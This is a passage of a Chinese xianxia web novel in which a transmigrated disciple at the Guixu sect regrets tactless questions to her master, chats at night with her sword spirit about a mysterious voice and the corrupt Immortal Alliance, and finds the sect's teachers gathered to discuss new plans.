大概是因为事情发生时正在外头游历,没有亲见戚寻月离世的场景,因此师兄弟三人中,步雁山对此事的态度是最坦荡的,提起戚寻月时只是伤感怀念,也时常去不熄鼎看望,不熄鼎整日晾在尘土阳光下,各处却都没什么积灰,想必来去峰上的二位一定精心照料过。 根据她在霰照中看到的记忆,她猜测戚寻月打算把自己“变成”镇山灵器一事,大约是同章存舒商议的,但凌风起事先或许并不知情。 他们一定尝试了很多办法来挽救她的性命,只是到了最后,身死依旧成了定局。 戚寻月一定深知自己的决定不会得到师兄弟们的同意,但章存舒…… 章存舒是最有可能成全她的人。 所以凌风起既不敢去见戚寻月,又对章存舒愤怒异常,因为他自己对此事无能为力,但总要寻找一个情绪的发泄口,于是答应了戚寻月请求的章存舒就被他迁怒。 但凌风起至少还在上次去见了“戚寻月”,成全了戚寻月的人却没法过自己那关。 所以关云铮估计他只是嘴上说说,来去峰他恐怕是不会去的。 她在心里推测了一番,谁料章存舒这次倒是没回避她的问题,笑着叹了口气:“不会。” 本以为他会像往常那样谜语人,又或者干脆避而不谈,现下他如此直白坦荡,关云铮反而更愧疚了,沉默了好一会儿才说:“师父,任师姐是戚师叔的徒弟吗?” 章存舒正回头往饭堂走,听见这话只简单地“嗯”了一声。 “那……戚师叔,是无情道吗?”关云铮又继续问道。 章存舒依旧没回头:“是。” 那剩下的就不用再问了。 或许是担心任嵩华境界日渐突破,走上无情道弟子常有的道心崩毁结局;或许是担心她作为曾被称为“器道”的无情道弟子,步了她师父的后尘,最终也沦为仙山的“养料”。 总之,弄清楚任嵩华与戚寻月的联系之后,步雁山的心绪浮动就变得很好解释了。 被那一剑劈开裂隙的,何止是试心玉。 **** 太久没喝加了芋泥的奶茶,晚饭又几乎紧挨着,关云铮吃完晚饭就撑得不行,瘫坐在秋千上发呆。 楚悯坐在石桌边翻看苏逢雨早晨给的琴谱,听见关云铮若有若无的叹气声,抬起头看向她:“怎么了?” 关云铮半个人都歪在秋千上,仰着脸望向屋檐:“我常常觉得自己说错了话。”她又叹了口气,“我总是把握不好与人说话的尺度,若是遇上随和些的人,彼此开上两句玩笑,我就容易忘形。” 有时候别人开玩笑只是自嘲或者缓和氛围,但话赶话到那个时候,她常常会注意不到这一点,跟着开同样的玩笑。 她明明是个很擅长不把承诺当真的人,却总是把玩笑话当真,以为他人真的不在意。 看似真心的她习惯了当做假意,看似假意的她总曲解成真心。 她忘形时甚至会以自己的认知去定义他人的行为,然后问出一些自己以为只是“好奇”,实则已经到了“冒犯”的问题。 有时候甚至像是“何不食肉糜”的现场演绎。 就像方才她问章存舒的那两个问题。 楚悯正想开口,关云铮又说:“我知道你要说这不是我的错,没有人能预料到一个话题对于他人而言是何种意义,若是总怕自己说错话,那大概可以做个哑巴了。” 楚悯默然,就听那瘫在秋千上的人又说道:“可我明知这话题对于师父来说代表着什么。” 她明知道那两个问题问出口,会牵起章存舒多少情绪,可她还是问了。 明明之前章存舒初次在她面前提及“无情道是器道”一事时,她也想到了这件事,却忍住了没有问,为何如今反而做不到了呢? 关云铮更重地叹了一口气,拿袖子遮住自己的脸:“我还是忘形了。” 归墟的夜晚静悄悄的,明明是秋夜,却连虫鸣声也没有。 关云铮在袖子下睁着眼,眼前被袖子压得一片漆黑,离奇地给了她安全感。 就在她不知道发了多久的呆,打算收回袖子坐起来时,楚悯的月下逢响了。 不同于先前这琴自发弹奏的那种小调,此刻响起的正是苏逢雨今早演示过一遍的清心曲。 **** 早晨苏逢雨与蒲飞鸢吵架后独自离开时,遇见的第一个人正是严骛。 只不过苏逢雨……压根不认得他。 严骛却认得苏逢雨。 应该说,他认出了她怀里那把琴。 严骛一眼看出那是被仙盟记录在册的断尘,下意识停住脚步。 本应直接擦身而过的苏逢雨察觉到他突兀的停顿,下意识侧目看来,见是不认识的人,又很快收回目光。 见她要走,严骛没来得及多想便开口:“这位修士且慢。” 苏逢雨正在气头上,要不是察觉到他突兀停下,也不会看他这一眼,因此听见这话更是懒得搭理,脚下步子不停,继续往外走。 蒲飞鸢追出来时看见的正是此景。 她来不及辨认严骛相貌,匆忙对严骛道了声歉便要继续追。 “你是……蒲飞鸢?”严骛在她身后迟疑道。 擦肩而过时最怕被叫出姓名,免不了一场不自在的寒暄。蒲飞鸢不得不停下脚步转回身,因此也认出身后之人:“严骛?” 严骛迟疑着:“你在归墟是……你是今年的教习先生?” 归墟开设教习的时间不久,三位教习先生的姓名始终不曾对外公布,多数人也只是按照惯例推测其中大约会有位江湖散修。但江湖何其宽广,章存舒会找哪位江湖散修也无法推断。 原来是蒲飞鸢。 蒲飞鸢实在不想跟他在这个节骨眼说这些有的没的,此时不追上那位祖宗,将来怕是会有更大的脾气等着她,于是搪塞了一句又要走,再度被严骛叫住:“你可知这几日归墟的弟子去哪了?” 蒲飞鸢耐心告罄,正要开口,忽然感觉不远处传来一阵乐声,只是还没等她转身仔细听清楚这是支什么曲子,乐声便戛然而止,短暂得像是她的错觉。 但面前的严骛也若有所思,显然也听见了:“方才那是……?” 蒲飞鸢不愿再同他多说:“我还有事,先走了,你有什么疑问可以找其他人问问。”说完她便大步流星地去追苏逢雨了。 留下严骛在原地恼羞成怒:“归墟哪有人啊!” **** 蒲飞鸢疾走一阵,难得走得气喘,快走出青镜山还没看见苏逢雨人影,正要叹气,就听见前方某处传来拨动琴弦的短促一声。 有时候她不得不承认,苏逢雨一直很懂如何拿捏她,只弹这么一声,像是笃定了她能听见并且辨认出方位,最后去寻她的踪迹。 蒲飞鸢这下是真的叹了口气,认命地走到根本没走远的苏逢雨面前:“消气了?” 苏逢雨神色平淡:“没有。” 蒲飞鸢又叹了口气:“你方才给严骛弹了什么曲子?” 苏逢雨收起怀里的断尘:“乱念。” 蒲飞鸢简直匪夷所思:“你给他弹乱念做什么?” 苏逢雨转过身往前走:“我又没弹完。” 蒲飞鸢头都大了:“他又没惹你。” 苏逢雨睨她一眼:“他是仙盟人。”原本她没认出来,但她走后便听见蒲飞鸢喊那人严骛,这个名字她确有印象,只不过从来只听过事迹没见过人,对不上脸。 蒲飞鸢头痛:“那也犯不上用乱念吧?”这可是阵中扰乱敌方心绪,甚至引人走火入魔的曲子。也就是江湖散修讲究不多,所学技艺的正邪边界偶尔没那么分明,若是放在所谓名门正派,这类行径几乎与邪修无异,若是当真令人走火入魔,定然是要被逐出师门的。 苏逢雨懒得跟她说这些车轱辘话,停下脚步转过身道:“一,我没弹完,让他心烦已是极限,不会有旁的影响;二,我弹奏乱念是为了掩盖夹在曲子里的灵咒,为的是确保他回仙盟后不会乱说话,危害归墟的安全与教习。蒲先生满意了?” 蒲飞鸢还没听她用这么漠然的语气对自己说过话,一时愣在原地:“灵咒?” 苏逢雨却没有继续解释的打算,转回身继续往前走了:“我看你一直以来追得也挺累的,以后不用追了。”—— 作者有话说:假期怎么就结束了…… 第70章 清心曲和清心诀带给人的感觉有着很大的不同。 清心诀像强制指令, 明确目标后立即施行,并且见效极快且没有副作用。要是修真世界真能延续到现代,清心诀大概会成为面向原发性偏头痛最好用的治疗手段。那时候遇事不决可就不是量子力学, 而是求诸玄学了。 可惜修真世界没有科学, 见效越快的东西副作用越大,这几乎是讲求科学的世界里的一条铁律。 扯远了——清心曲给人的感觉则截然不同, 如果拿速效止痛药形容清心诀, 那清心曲就是缓释胶囊,在身体里这边问问那边找找,确认了究竟是哪里不舒服之后才会缓慢发挥效用。 和缓释胶囊最大的区别大概就是——清心曲还挺好听的。 小悯估计在心里复习了很多遍琴谱了,第一次弹清心曲毫不磕绊,非常顺畅地弹完了一整支曲子后才停下动作。关云铮这样想。 只不过琴声停止时她依然没抬起袖子。 “你以前就学过琴吗?”她的声音闷闷的。 楚悯弹完琴后一点动静都没有,听见她提问才开口:“未曾, 大约这便是新生乐器的奇妙之处,我从未学过琴, 但手一触碰到琴弦,就自然而然地会弹了。” 关云铮故作惆怅地叹了一口气:“你看, 摇羽就不行。”拿到手多久了都没学会, 使剑时依旧手忙脚乱。 楚悯笑了笑:“这我就得替摇羽说一句了,”她也故作严肃,“剑可比琴难操纵多了。” 关云铮也笑了笑, 但笑声的末尾却不可避免地低落下去。 头早就不晕了, 将隐调动精力运作而产生的副作用被一支清心曲压制得很好,没有再继续折磨她。但她依旧心事重重,无需闭上眼,那些繁杂的思绪与画面像是走马灯一样在她眼前播放着。 没死就播上走马灯了,好超前。关云铮心不在焉地想。 关云铮听见石桌边的楚悯叹了口气, 接着感觉到她走到了秋千旁边,但还没等她坐起来给人腾空位,楚悯就伸手摸了摸她的脑袋:“不要多想,忧思伤身。” 关云铮在袖子底下睁着眼睛,很想说点什么,说说今日白天听见的那个声音,说说在看完季邕的记忆后又被将隐带领着看到了原身的记忆,说说别的什么……不这么沉重的话题。 但不知道是歪在秋千上这个姿势太舒服了,还是清心曲开始发挥效用了,关云铮感觉自己的眼皮越来越沉,眼睛不受控制地加快了眨动的频率,最后缓缓地合上,沉入一片黑甜。 楚悯听见她逐渐清浅下来的呼吸,知道她是睡着了,难得紧张地吁出一口气,把手心的汗在衣摆上蹭干净了。 她方才翻了好一阵的曲谱,发现苏逢雨在清心曲这几页的空白处写了好几行小字,大致内容是改变某几个音就能达到的安神催眠效果。 她不太相信自己弹琴的技艺,毕竟先前从未接触过,但月下逢像是会带领她一般,既调整了她的指法,又纠正了力道,使得这支带着心虚和不自信的曲子在关云铮听来,没有一丝异样。 现下煎熬了一整天的人终于安心睡着了,楚悯又叹了一口气,开始发愁该怎么把人搬回屋子里。 连映不知何时来的,此时忽然轻咳一声,走到楚悯身后:“我来吧。” **** 关云铮安然睡了大约不到三个时辰,就从一阵莫名的心悸之中惊醒,抓着被褥茫然,险些不知道自己身在何处。 方才她是怎么睡着的? 也没有左侧卧压迫心脏,怎么心脏这么难受? 而且居然……完全没有做梦吗? 她难得怀念起手机,想找个什么碎片化的东西排遣一下自己此刻无端难受的心情。 大家大概都睡了吧。 关云铮撑着床坐起来,又披上外衣穿上鞋子下床,乾坤袋被人好好地放在一旁的桌上,她把摇羽从袋中拿出来,提剑出鞘:“醒着?陪我说话。” 摇羽大概是知道此刻夜深人静,回答时的语气相当恼火但音量很低:“虽然剑灵不用睡觉,但你大半夜的不睡觉找我说什么话?” 关云铮在门槛上坐下,把摇羽放在一边:“小悯弹的是清心曲还是安眠曲?” 摇羽漫不经心的:“你不都猜出来了,还问?” 关云铮叹了口气,知道自己今天一整天的状态怕是都不怎么好,师门几位和小悯都看在眼里,但她没想到小悯居然会直接给她弹安眠曲让她睡着。 可惜了,辜负了小悯的一腔好意,安眠曲对她效用不够长久,她这个点就醒了。 月色清朗,关云铮坐在门槛上晒不到一点月光,身后的烛火在灯罩里跃动着。 月光与烛光之间,夹了一个迷茫在此世与彼世之间的人。 “我今日听到一个声音。”她抱着膝盖数脚下石砖的细纹,每到几条细纹盘虬错杂的地方就忘记具体的数目,于是又从头数起。 摇羽打了个相当应景的哈欠:“什么声音?此前没听过?” “嗯。”关云铮把下巴搭在膝盖上,“说话时也怪腔怪调,不太像人。” 摇羽若是有实体此刻一定在皱眉:“总不会是另一个心魔引?我对这东西所知不多,难道还能跟邪修的丹药一般,量产不成?” 关云铮摇摇头,下巴蹭动膝头布料:“虽说那声音听起来也不便分辨男女,但不像是心魔引那样的非男非女,倒更像是……”她回忆着那个声音的特质,“更像是你这样的,雌雄莫辨。” 摇羽沉默了好一会儿:“这两个词有什么区别?”感觉都不是什么好词。 关云铮分析得头头是道:“非男非女的意思是,它的声音里混着男声和女声,雌雄莫辨则只有一种声音,但听不出男人还是女人。” 摇羽还真听进去了,沉吟片刻才说:“如此说来,那声音也可能是我这样的灵体?” 关云铮没否认:“有可能。” 摇羽好半晌没说话。 关云铮睡了个质量不错的短时睡眠觉,此刻精神得很,坐在原地发呆,摇羽不开口也不催。 “那声音同你说什么了?”摇羽再度开口时问道。 关云铮如实相告:“不多,很杂。” 摇羽又糊涂了:“很杂是什么意思?” 关云铮思考了一会儿:“祂好像什么都知道,但什么也没告诉我。” “什么都知道?”摇羽重复道。 关云铮不答反问:“你在乾坤袋里的时候,听得见我说话吗?” 摇羽摇羽起初有些不明所以:“能,怎么忽然问这话……”它回过神来了,“你的意思是,你对楚悯说的那些,你并非此世之人的话?” 关云铮听着它的语气转变,仿佛能想象出一团灵体原本松散着,有一搭没一搭地说话,说到后来忽然意识到事情的严重性,骤然汇聚起来严阵以待的样子。 这画面光是想一想就怪喜感的,关云铮弯了弯嘴角。 摇羽看不见她脸上的神情,要是能看见她正在笑估计会恨铁不成钢地骂她一通,都被来历不明的东西知道这么重要的事了,居然还笑得出来。 它毫无所觉地继续说着:“那灵体也知道此事?” 关云铮托着下巴“嗯”了声。 摇羽思索着:“我在剑冢里年岁太久,和外头不相往来,对外界这些年来的变化所知甚少。近年来归墟有何重大事件?亦或是整个修真界,有何重大事件?” 虽然摇羽看不见,但关云铮还是忍不住挑起眉头:“你如何定义重大?” 摇羽“啧”了一声:“载入史册那种,教习先生特意传授过的知识,有吗?” 关云铮还真想起来一件,应该说将隐还真帮她想起来一件:“七十年前曾有一修士觅得良机,突破大乘之境,但半年后就没了下落,亦或成仙归隐,不得而知。”将隐回溯出了当时的场面,她原封不动地复述一遍,又补充,“这是褚先生初次上课时告知我们的,当时有人问了一句世上可有真仙人,他是这么回答的。” 摇羽若有所思地重复了一句:“七十年前……” 关云铮期待地看着它:“七十年前如何?” 摇羽像是陷入回忆中忽然被唤醒似的,先是茫然地“嗯?”了一声,随后才说道:“这样看来……我实在是与世隔绝太久了,依稀记得进入剑冢的前几年,突破大乘的人虽不算多如牛毛,但一只手还是数不过来的。” 关云铮陷入遐思:“这般繁荣……得是多少年前了?” 摇羽的声音听着也有几分感慨:“看如今的情状,大约至少一百多年前了。” 关云铮扭头看向它:“剑灵不会衰老吗?” 摇羽的回答非常诚恳也非常不靠谱:“大概?我这一生也没见过其他的剑灵了。” “我这一生”“我这辈子”这种话很容易触发一种诡异的机制,此刻关云铮就完全下意识地用上了老成的语气说道:“你这一生还没结束呢,怎么就用上‘一生’这种说法了?” 如今看来至少一百多岁的剑灵相当没好气:“小鬼,我只是声音听着像少年人,不代表你就能把自己当长辈了。” 关云铮心说那我实际还二十多岁了呢,虽然和剑灵的年纪比起来也依旧是小鬼…… “你说那个灵体有没有可能是从前飞升之人?”她忽然问道。 摇羽这次持反对意见:“大概不会。” “为何?” “因为飞升之人最终都会被天道抹除人格,神明从不怜悯慈悲。” 一百多岁的剑灵用他那少年般的声音如此说道—— 作者有话说:写完榜单字数后不可避免地懒惰起来(目移)下章争取5k+[三花猫头] 70-80 第71章 摇羽话音刚落, 关云铮就下意识抬头看了眼点缀了零散星星的夜空:“说这话会不会被天道劈?” 摇羽被她梗了一下,恼怒道:“劈就劈,劈坏了大不了换一个剑身, 我又没实体, 还怕它劈?”像是单方面积怨已久,说完这话它又来了句, “流民动辄喊‘老天爷不开眼’, 就差把手指到天上说天道不要脸了,天道还能把他们挨个劈一遍?” 提到流民,关云铮脸上的笑影不可避免地淡了一些:“你不是与世隔绝已久吗,怎么对流民之事这么清楚?” 摇羽的语气中也褪去了方才的恼怒和记恨,转而叹了口气:“我曾经的……主人,是被仙盟收养长大的, 从前便是流民出身。” 这世上究竟发生过多少天灾人祸,怎么会有这么多的流民…… 大师兄和师姐曾经也是流民, 他们甚至是跟着一大群流民一同流浪的……当时是只有他们两个人获救了吗?还是师父也给其他人谋了活路? 她把想问师父的话先放到一边,提出了对方才话题的疑问:“仙盟也会收养流民?” 这样看来, 仙盟岂非并不全是尸位素餐之辈? 摇羽低笑一声:“你当他们收养流民做什么?不过是做个样子罢了。” 好吧, 她收回自己几秒前的评价。 “说来好笑,第一任仙盟中人,其实是各地仙门公开择选出来的, 仙盟负责协调朝廷与仙门、凡民与修道者, 解决几方之间的矛盾,在建立最初是很受仙门人推崇的。 “仙门人自命清高,懒得同朝廷中人虚与委蛇,有仙盟在其间斡旋,他们自然乐得清闲;修道者修炼久了容易失去人性, 对凡民疾苦视若无睹袖手旁观,仙盟又可在其中安抚民心,两边这么一合计,对仙门来说百利而无一害。 “但权力的赋予会滋生腐败,正如褚鹤贤经久未晒的书也会长出蠹虫。啊,应该说蠹虫本来便有,久不见光只是给了它们大肆繁衍的环境。仙盟在朝安扎根太久,逐渐从各地仙门择选下一代人选,变成了自行选择,甚至衣钵传承。日渐腐烂也就成了不可挽回的定局。” 摇羽难得用这么正经的语气说这么多话,那少年音里的青涩和朝气在这段话的时间里几乎褪得分毫不剩,一百多岁的剑灵此刻的声音里,竟然带上了几分金属质地的武器才有的冷硬。 “和我主人一同被收养的流民多数体弱,仙盟人做了场戏后便不怎么搭理他们了,那段时间里,那些孩子们过得不比流亡时好多少,久而久之,活下来的也就没有几个了。” 少年音色再冷硬也依旧是少年音,叙述起这些事情来几乎天然带着一种……对这个世道的控诉。 因为在听到这样的少年音说出这些话语时,人们会不自觉地想:究竟是在怎样的世道之下,见识过怎样的惨剧和苦痛,它才会变成这样? “仙盟那些年搜刮或是收集,囤积了不少沾染灵气的物件,我的主人在这种环境下生活了几年,大约是太想让自己有些用处,才好活下去,竟然开了灵窍,可以修道了。” 对于凡民来说,骤然开了灵窍或许是再好不过的事了,几乎是如同新科及第一般的大喜事,家中长辈一定会大肆庆祝。 但作为流民长大的人,又有谁会为她庆贺,谁会为她忽然的灵窍顿开,感到由衷的高兴呢? 院子里忽然起了风,大概是附了符咒的外衣穿得不严实,关云铮无端打了个哆嗦,下一秒就老老实实地把外衣穿好了。 冷风拂得人毫无睡意,话题也沉重得关云铮脑子里狂响警报,她迫切地想换个话题聊一聊,或者找点别的事情做。 或许是夜风把她吹傻了,她脑子一抽,忽然对着摇羽说:“我们去剑冢看看?” **** 楚悯临睡前给楚恽写了一封长信,灵牒装不下这许多字,只好一笔一划地写到信纸上。 灵牒被打造出来之初,讲求的是传信迅速及时,但正因此,并不十分必要的传信次数也逐渐变多起来,因为只要双方都持有灵牒,传信给千里之外的人就成了一瞬之间便可实现的事,这边看到一朵开得正好的花,用灵牒告诉另一边;修炼中遇到了什么问题,用灵牒问问对方…… 而所传之信抵达另一处灵牒时,闪动起的光亮又十分难以忽视,夜里甚至能照得屋子亮如白昼,久而久之,使用灵牒的人们不堪其扰,陆续自发地给这件法器设了新的使用限制:必须使用相当一部分灵气才可以进行传讯。 这便杜绝了境界较低的修士沉迷其中的可能,也让其他修士掂量起手头讯息的重要性,在用灵牒传信前多加考量。毕竟不论是什么境界的修士,周身可供调动支配的灵气也不允许他们将灵牒一日数次地拿出来使用。 ——可惜她的兄长楚恽不属于这两类人中的任何一类,他境界不低,也从不把使用灵牒时需要消耗的灵气纳入考量。如果不是怕影响妹妹的日常修炼,他怕是能在她刚看完上一封传信后便传来下一封,事无巨细地从今日东边升起的太阳是什么颜色,啰嗦到今夜西边升起的月亮有多圆。 自上次下山,父亲把将隐交给云崽后,兄长已经传来许多次讯息了,她起先还认真回复,多了之后看得眼都花了,只好在看完后在灵牒上画个圈,示意已经看过了。 但这些圈没法封印兄长的手,只会告诉兄长她看完了,于是下一封信又会在几乎瞬息之间飞过来。 此刻她认真将之前所有讯息的回复写在纸上,斟酌片刻,在回复之后写下自己的问题。 将隐是否为天问一派常有的法器?为何寻常天问法器设有境界一类的门槛,但将隐没有?为何将隐不需抽取灵气而是抽取精力运作?父亲又为何……会把这件法器送给云崽? 其实这些问题她心中已有猜测,但她依旧觉得此物存在隐患,非得向兄长和父亲问个清楚不可。 她下笔飞快,写完所有问题后长出一口气,把信纸铺平晾干。 在归墟的住处没有能让她以火为媒传信回天问的烛火,只能明日问问章先生了。 **** 人总得为自己说出口的话付出代价,关云铮站在剑冢黑黢黢的洞口前万分沉痛地想。 哪怕已经来过剑冢两次,大晚上来这种地方还是有点吓人了。她绝望地攥紧手里的剑鞘,在这一刻意识到自己的胆子并没有变大,只是单纯地不再会被师门人吓到,但该害怕的恐怖片场景她照样害怕得不敢迈出哪怕一步。 黑暗代表着未知,未知是构成恐惧的底色,她无法避免地在注视着洞口时陷入更可怕的想象画面之中。 摇羽并未察觉她的情绪,率先操纵着剑身进去,好半晌没听见她的动静,调转方向:“你站那做什么?” 关云铮握着剑鞘强行镇定,试图让自己的脑子停止想象那些比恐怖片还惊悚的画面:“你也活这么多年了,应该能先把灯点亮吧?” 摇羽沉默了好一会儿:“你知道自己在说什么吗?”这前言不搭后语的劲头怎么像没睡醒一样。 关云铮如实相告:“这洞里面怎么这么黑……” 摇羽奇道:“你第一次来的时候怎么不怕黑?”那时候它甚至还故意弄出些动静吓唬她呢,后来不还是进洞了?人的胆量难道会日益缩减不成? 关云铮虽然本能地恐惧黑暗,但脑子还没完全下线,听了这话甚至能给它分析:“第一次来剑冢那会儿才刚入夜,你看看今日这都什么时辰了,黎明时分夜最黑,你没听过?” 摇羽被她一句话哽住,好半晌才有了动作:它把最接近洞口的灯点亮了。 虽然不知道它究竟是如何办到的,但关云铮还是真诚地给它鞠了一躬:“谢谢您。” 摇羽再度恼怒:“少来这套。” 关云铮直起身跟在它身后:“晚辈给前辈道谢,应该的。” 摇羽都快让她说得没脾气了:“有你这样的晚辈?再说了你哪天把自己当晚辈了?此刻倒是扮起乖来了。” 关云铮从善如流:“那就感谢我的好佩剑,感谢里头的好剑灵,可以吧?” 摇羽无言以对,过了许久才说:“你来剑冢究竟是想做何事?” 她还真答不上来,但总不能说是一时脑子抽了嘴巴也瓢了吧? 关云铮颇觉头痛,索性岔开话题:“说起来,有一件事我一直没同你确认过。” 摇羽兴许是飞累了,此刻操纵着剑身靠在洞里的石壁上:“何事?” 关云铮也找了块干净的石壁靠着:“我还没来过剑冢之前,有一日修习御水术时总觉得那瀑布似乎呸了我一口,问过师兄,他说是剑冢内的剑灵干的,不会真是你吧?还是说,剑冢内有别的剑灵?” 摇羽又沉默了。 关云铮毫不客气地大笑起来:“还真是你啊?哈哈哈哈哈哈哈哈哈……” “在失去剑身之后待在剑冢里的这些年,归墟那处瀑布是我的力量能触及的最远范围。”摇羽忽然说。 关云铮的笑声卡嗓子眼里了。 她可真该死啊。 摇羽话锋突转,刚才说话时语气里的落寞转瞬即逝,又变回往日里和关云铮斗嘴时的语气:“不过那动静确实是我故意的。” 关云铮又气不打一处来:“你……” 摇羽换了个正经些的语气:“所以你只是一时兴起才说要来剑冢?” 关云铮到现在也没编出一个像样的理由,索性顺着摇羽的话坦白:“嗯,一时兴起。” 摇羽似乎是觉得好笑,笑了一声又说:“现在兴头过了?” 关云铮撑了一把石壁站直:“过了,走吧,回去了,明早还得修炼呢。” 摇羽没反驳:“你过来把这剑拿上,我飞不动了。” 这下关云铮也觉得好笑:“好好好,祖宗,我拿着你,行了吧?” **** 关云铮刚从连廊走下来就被坐在石桌边的章存舒吓了一跳,摇羽差点被她顺手丢出去:“师父?您大晚上的不睡觉在这做什么呢?” 章存舒被她贼喊捉贼的话说得直想笑:“究竟是谁大晚上不睡觉?” 关云铮自知理亏,把摇羽收回剑鞘,拿着剑灰溜溜地走到石桌边坐下:“您怎么来了?” 章存舒摸出一个小瓶子:“晚间吃饭的时候不是说脸被野草刮了一下?” 她早都忘记这件事了,吃晚饭的时候压根就没想起来,还是小悯跟师父提的。 关云铮伸手接过瓶子,依旧觉得很震惊:“这种小事,劳动您这个时候来……” 章存舒笑眯眯地揭穿她装乖的事实:“你多长时间没对我说‘您’了,这么叫就一定是在心虚。” ……那她确实很心虚。 章存舒倒也没打算追究她大晚上的不在屋子里睡觉还从外面回来这件事,又看似惆怅地叹了一口气:“年纪大了,觉少。” 关云铮看了眼他连鱼尾纹都几乎看不到的眼角,很想忍住吐槽,但实在没忍住:“师父,你逗我玩呢?” 转念她又想到什么,顿时觉得整个人都不太好了:“师父不会是因为我白日里问的那几句话,想到了过去……才睡不好的吧?” 那她这一天下来岂不是一直很该死? 这破嘴不会说话还是捐了算了,不过这么破的嘴白给怕是也没人要。 章存舒失笑:“我都这么大岁数了,不至于因为你无心的几句话就辗转反侧。” 关云铮忍不住皱眉:一个人越是把某件事放在嘴边反复提起,就越是能说明此人有多在意此事,而章存舒已经在短短几句话内提起两次年纪的事了,他受什么刺激了? 她握着章存舒给的小瓶子,被瓶口凸起的塞子轻轻硌了一下手心,忽而想起还没问这瓶药的来历,于是转而开口问道:“师父,这药是哪来的?” 章存舒不甚在意地看了眼她手里的瓶子:“你凌师伯给的。” 关云铮差点疑心自己听错了,那坏脾气老头不是跟她师父关系还僵着吗? 她那点疑惑都写在脸上,章存舒看了她一眼,为她解惑:“他每月都会炼制一些寻常的伤药和辅助修炼的丹药,趁我不在院子里的时候放在桌上。” 太坏了,是已经退环境的傲娇,我们没救了。 章存舒的神色很平淡,说不上高不高兴:“他先前带你去来去峰,你见到不熄鼎了?” 关云铮不明所以,这事儿都过去好些日子了,怎么今日忽然问起来了?再者那日掌门分明也在,难道没同师父说起?这不能够吧? 她虽没想明白,但还是照实答道:“见到了。” 章存舒“嗯”了一声,又不再问了。 真是将谜语人人设贯彻到底啊师父。关云铮忍不住在心里感慨。 “离天亮还有些时候,回屋子睡吧。”章存舒和她对坐片刻,最终撂下这么一句便打算离开。 关云铮正要答应,又想起还没搞清楚接下来的修炼安排,追问了一句:“师父,明日,不对,今日的课业照常吗?” 章存舒回过头来看她,神色中有些讶然,像是没料到她会问出这么一句,回答道:“今日暂歇,你的同窗们打了两日多的铁,怕是暂时舞不动剑。” 关云铮惊呆了:“他们还真去打铁了?” **** 关云铮再次睁眼已是天光大亮。 她本以为半夜起来一趟,再次躺下决计睡不着,结果不知道是小悯弹的那支安眠曲依旧有残存的效用,还是她本来就困,方才只是惊醒后强打精神,总之还没等她开始例行驱逐脑内杂念强迫自己入睡,眼皮就沉沉地黏在了一起。 睁开眼时果然睡迟了,她再度穿上外衣和鞋子,洗漱完后推开门。 ——她又把门关上了。 睡过头了眼睛有重影?石桌边怎么这么多人?总共不才四个位置吗? 她一头雾水地再次打开房门,确定了这双眼睛没有任何问题,石桌边就是拉拉杂杂地坐了……八个人。?这对吗? 为什么蒲飞鸢和褚鹤贤也在?几位先生聚在一起也就算了,为什么聚在她院子里?这点大的地方容纳这么多归墟大人物,她真的很有负担。 好在几位教习先生正在谈话,听见她开门的动静也没怎么分神,只有步雁山从谈话中寻得间隙,往她这边看了眼,对她笑了笑。 关云铮诚惶诚恐地也笑了笑,随后凑到坐在外围的师兄师姐旁边:“这是在做什么?” 连映把一个食盒提起来:“我来给你送早饭。” 关云铮伸手接过,在仅剩的一张竹椅上坐下:“那先生们又为何在此?” 闻越显然也起晚了,叼着馒头含混不清地说道:“好像是要探讨日后的教习计划,恰好掌门在我们饭堂用的早饭,你又还没吃,大家便一起过来了。” 关云铮咬了口馅饼:“不找个宽敞些的地方探讨吗?” 大早上起来嗓子眼发干,闻越险些被馒头噎着,赶紧从人堆的缝隙里伸手抓过石桌上的茶壶,举起来灌了一口凉茶把馒头顺下去。 众人目光一时看向他,闻越相当自然地摆摆手:“先生们继续,不用在意我。” 众人:“……” 关云铮默然:好心态决定三师兄一生。 闻越又顺着方才的话题继续说道:“又不舞刀弄枪,这石桌还不够宽敞吗?” 坐在内圈的章存舒忍无可忍地敲过来一记:“给我到别处吃去,吃饭都堵不住你的嘴。” 闻越顺从地叼着馒头起身了。 如果把他的步态也算上的话,或许这个过程用“逃窜”来形容更为合适。 几人一起到了楚悯的小院,关云铮走在最后,一首提食盒一手拎了把竹椅,生怕待会儿位置也不够,提早做个准备。 等到月洞门隔开了先生和弟子两拨人,关云铮在竹椅上坐下,安心吃起自己的早饭。 楚悯在她旁边低声说话:“昨夜没睡好吗?” 关云铮出门前特意照过屋内铜镜,虽说铜镜没有现代的镜子照得清楚,但她也确实没看出自己眼下有什么黑眼圈,应当不至于被小悯发现才对。 她继续吃馅饼,撒起善意的谎言时毫不心虚:“睡得可香了,连梦也没做。” 楚悯有些惊讶的模样:“真的?” 关云铮很想连连点头,又想到不能太浮夸,不然容易被看出端倪,于是只点了一下脑袋:“真的。” 楚悯这才放心下来,又低声说:“似乎是仙盟又有别的安排,所以先生们才聚在一起商讨日后的教习。” 关云铮这下连馅饼也顾不上咽了,皱起眉头问道:“仙盟又有什么安排?” 闻越终于把噎人的馒头吃完了,拍掉手心的碎屑后说道:“谁知道,往年也没有这么能折腾的。” 关云铮把身子探出月洞门,往自己院子里看了眼,后知后觉地问道:“怎么苏修士不在?” 在座四人陆续露出为难的表情。 关云铮顿觉莫名:“你们这是什么神情?” 几秒后她猛地想起什么,怀疑自己真是没睡好脑子接触不良了,小心翼翼地问道:“难道是昨日和蒲先生吵的那一架,尚未和好?” 楚悯叹了口气:“蒲先生说,苏修士很可能不会来了。” 关云铮惶恐万分:“是今日不会来还是……” 连映也难得叹了口气:“那就要看蒲先生的表现了。” 嗯? 嗯嗯嗯? 怎么好像师姐也在嗑cp的样子? 不过关云铮从自身多年嗑cp的经历来看……她对蒲飞鸢和苏逢雨不是很看好,蒲飞鸢看着像是那种会对自己的啦啦朋友很好但永远不会开窍的直女。 ……有点替苏修士绝望了。 不要爱上直女,会变得不幸。 她吃完最后一口怅然的馅饼。 **** 苍韫桢倚在榻上阖目养神。 朝安位于北方,此刻又是深秋时节,宫殿里已燃起暖炉。苍韫桢怕热但又贪着那点暖意,嘱咐了宫人把暖炉支得远一些,此刻那炉子便正在离床榻两尺开外的地方,静静地燃烧着。 沈时安进来汇报时苍韫桢险些睡着了,听见声音传来才略微掀开眼皮,漫不经心地“嗯”了一声:“何事?” 沈时安在厚重的帷幔外行礼道:“柳相自南方寄过来的信件到了。” 重要的事情卿知早已借火传信告知,之所以仍写了信寄往朝安,纯粹是知道朝中有人关心此事进程,做个样子罢了。 